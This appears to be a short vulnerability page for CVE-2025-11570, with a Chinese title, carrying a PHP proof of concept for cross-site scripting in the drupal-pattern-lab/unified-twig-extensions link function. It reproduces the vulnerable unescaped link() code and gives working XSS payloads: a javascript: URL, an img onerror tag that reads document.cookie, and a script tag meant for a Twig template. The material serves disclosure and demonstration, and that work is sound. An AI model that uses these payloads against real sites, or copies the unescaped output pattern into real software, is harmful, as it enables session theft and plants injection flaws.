CVE-2025-11570：drupal-pattern-lab/unified-twig-extensions XSS漏洞

<!-- PoC for CVE-2025-11570 - XSS in drupal-pattern-lab/unified-twig-extensions --> <!-- The vulnerability exists in link.function.php where user input is not properly sanitized --> <!-- When the function is called outside of Drupal context (e.g., in Pattern Lab), --> <!-- the input is rendered without proper HTML escaping --> <?php // Example of vulnerable code in link.function.php function link($url, $title) { // Vulnerable: $title is not escaped before being rendered return '<a href="' . $url . '">' . $title . '</a>'; } // Malicious payload that exploits the XSS vulnerability $malicious_url = 'javascript:alert("XSS-CVE-2025-11570")'; $malicious_title = '"><img src=x onerror=alert(document.cookie)>'; // Trigger the vulnerability by calling the function with malicious input echo link($malicious_url, $malicious_title); ?> <!-- In a Twig template context, the exploit would look like: --> <!-- {{ link(user_input_url, user_input_title) }} --> <!-- Where user_input_title contains: --> <!-- "><script>alert('XSS')</script> -->